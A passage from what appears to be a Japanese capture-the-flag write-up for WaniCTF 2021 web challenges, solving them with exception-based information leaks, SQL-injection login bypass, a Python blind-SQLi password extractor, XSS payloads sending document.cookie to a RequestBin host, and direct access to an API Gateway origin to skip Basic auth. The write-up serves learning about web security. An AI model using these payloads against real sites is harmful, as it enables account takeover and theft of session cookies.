      "X-Amz-Cf-Id": [
        "TC9O1cfmNc8HQcdI_ql1Tc8XiUJJV6V67j9xrI8hIEyVH-02-zcHUQ=="
      ],
      "X-Amzn-Trace-Id": [
        "Root=1-608d57ff-61204f91720c7998172a9357"
      ],
      "X-Forwarded-For": [
        "14.3.175.134, 130.176.3.71"
      ],
      "X-Forwarded-Port": [
        "443"
      ],
      "X-Forwarded-Proto": [
        "https"
      ]
    },
    "queryStringParameters": null,
    "multiValueQueryStringParameters": null,
    "pathParameters": null,
    "stageVariables": null,
    "requestContext": {
      "resourcePath": "/hello",
      "httpMethod": "POST",
      "extendedRequestId": "epqv7ELIIAMFaow=",
      "requestTime": "01/May/2021:13:30:39 +0000",
      "path": "/Prod/hello",
      "protocol": "HTTP/1.1",
      "stage": "Prod",
      "domainPrefix": "boakqtdih8",
      "requestTimeEpoch": 1619875839404,
      "requestId": "ebda79ff-238f-4dbc-bfe2-6ffb9bc90127",
      "identity": {
        "cognitoIdentityPoolId": null,
        "accountId": null,
        "cognitoIdentityId": null,
        "caller": null,
        "sourceIp": "14.3.175.134",
        "principalOrgId": null,
        "accessKey": null,
        "cognitoAuthenticationType": null,
        "cognitoAuthenticationProvider": null,
        "userArn": null,
        "userAgent": "Amazon CloudFront",
        "user": null
      },
      "domainName": "boakqtdih8.execute-api.us-east-1.amazonaws.com",
      "apiId": "boakqtdih8"
    },
    "body": "{\"name\":[]}",
    "isBase64Encoded": false
  },
  "flag": "FLAG{b4d_excep7ion_handl1ng}"
}

FLAG{b4d_excep7ion_handl1ng}

watch animal

スーパーかわいい動物が見れるWebサービスを作ったよ。
wanictf21spring@gmail.com
のメアドの人のパスワードがフラグです。
https://watch.web.wanictf.org/

https://watch.web.wanictf.org/ にアクセスすると、メールアドレスとパスワードの入力を求められる。

試しに以下のように入力してみると、ログインすることができた。

  • メールアドレス: wanictf21spring@gmail.com' --
  • パスワード: A

今回は、パスワードを特定したいので、ブラインド SQL インジェクションを行う。 以下の入力でもログインできたので、後は1文字ずつ特定していけばよい。

  • メールアドレス: wanictf21spring@gmail.com' /*
  • パスワード: */ AND password LIKE 'FLAG{%

1文字ずつパスワードを特定するスクリプトを作成した。

import requests
import string

def check_login(flag):
    url = 'https://watch.web.wanictf.org/'
    email = "wanictf21spring@gmail.com' /*"
    password = f"*/ AND password LIKE '{flag}%"
    response = requests.post(url, {'email': email, 'password': password})
    return 'Login Failed' not in response.text

def main():
    flag = 'FLAG{'
    chars = string.ascii_letters + string.digits + '_-.$@!?{}'

    while True:
        for ch in chars:
            if ch == '_':
                ch = '\_'
            if check_login(flag + ch):
                flag += ch
                break

        print(flag)
        if flag[-1] == '}':
            break

if __name__=='__main__':
    main()
$ python3 solve.py
F
FL
FLA
FLAG
FLAG{
FLAG{b
FLAG{bl
FLAG{bl1
FLAG{bl1n
FLAG{bl1nd
FLAG{bl1ndS
FLAG{bl1ndSQ
FLAG{bl1ndSQL
FLAG{bl1ndSQLi
FLAG{bl1ndSQLi}

FLAG{bl1ndSQLi}

Wani Request 2

XSS Challenge !!
https://request2.web.wanictf.org/
チャレンジは二つです。
あどみんちゃんのクッキーを手に入れてください。
Wani Request 1 と同じくRequestBinなどを利用してみましょう。
web-wani-request-2.zip

Wani Request 1 と同様に RequestBin を使ってリクエストを待ち受けておく。

まずは、page1 のチャレンジから解いていく。
色々試した結果、page1 は、以下のパラメータで XSS ができた。

https://request2.web.wanictf.org/page1?wani=<img src=no_such_icon onerror=alert(1);>

今回は、Cookie を入手することなので、window.open() を使って cookie を RequestBin に送信させる。

https://request2.web.wanictf.org/page1?wani=<img src=no_such_icon onerror=window.open("https://cf8fa678c143bb26c971b23c21f6a461.m.pipedream.net?"%2Bdocument.cookie);>

実際に入力して、RequestBin を確認すると、以下の Cookie が届いていた。

flag1: FLAG{y0u_4r3_x55

次に、page2 のチャレンジを解く。
以下のように入力してクリックすると、アラートが表示された。

javascript:alert(1)

よって、page1 と同様に入力することで、Cookie を送信させることができる。

javascript:window.open("https://cf8fa678c143bb26c971b23c21f6a461.m.pipedream.net?"%2Bdocument.cookie);

実際に入力して、RequestBin を確認すると、以下の Cookie が届いていた。

flag2: -60d_c75a4c80cf07}

FLAG{y0u_4r3_x55-60d_c75a4c80cf07}

CloudFront Basic Auth

API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。
重要なエンドポイントにはBasic認証をつけてみました。
https://cf-basic.web.wanictf.org/
ヒント: 上のURLにアクセスするとexceptionと同じ見た目のWebアプリが表示されますが、添付されているzipファイルにはexceptionの添付ファイルから新しいファイルが追加されています。添付ファイルを参考にもう一つのFLAGを発見してください!
web-cf-basic.zip

template.yaml というファイルが追加されている。 内容を確認してみると、以下のコメントが書かれていた。よって、FQDN が分かれば、admin ページを表示させることができそうだと分かる。

CacheBehaviors:
  # "${CloudFrontDomainName}/admin"に対する通信は"https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin"の結果を利用
  - PathPattern: admin
    AllowedMethods:
      - HEAD
      - GET
    CachedMethods:
      - HEAD
      - GET
    TargetOriginId: ApiGateway
    ViewerProtocolPolicy: redirect-to-https
    # Basic認証
    LambdaFunctionAssociations:
      - EventType: viewer-request
        LambdaFunctionARN: !Ref BasicAuthFunction.Version

exception 問題と同様に例外を発生させて、エラーメッセージを確認すると、boakqtdih8.execute-api.us-east-1.amazonaws.com と書かれていた。

$ curl https://cf-basic.web.wanictf.org/hello -X POST -H "Content-Type: application/json" -d '{"name":[]}' --silent | jq . | grep execute-api
      "Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com",
        "boakqtdih8.execute-api.us-east-1.amazonaws.com"
      "domainName": "boakqtdih8.execute-api.us-east-1.amazonaws.com",

FQDN が判明したので、以下のようにアクセスすると、フラグが表示された。

$ curl https://boakqtdih8.execute-api.us-east-1.amazonaws.com/Prod/admin
FLAG{ap1_g4teway_acc3ss_con7rol}

FLAG{ap1_g4teway_acc3ss_con7rol}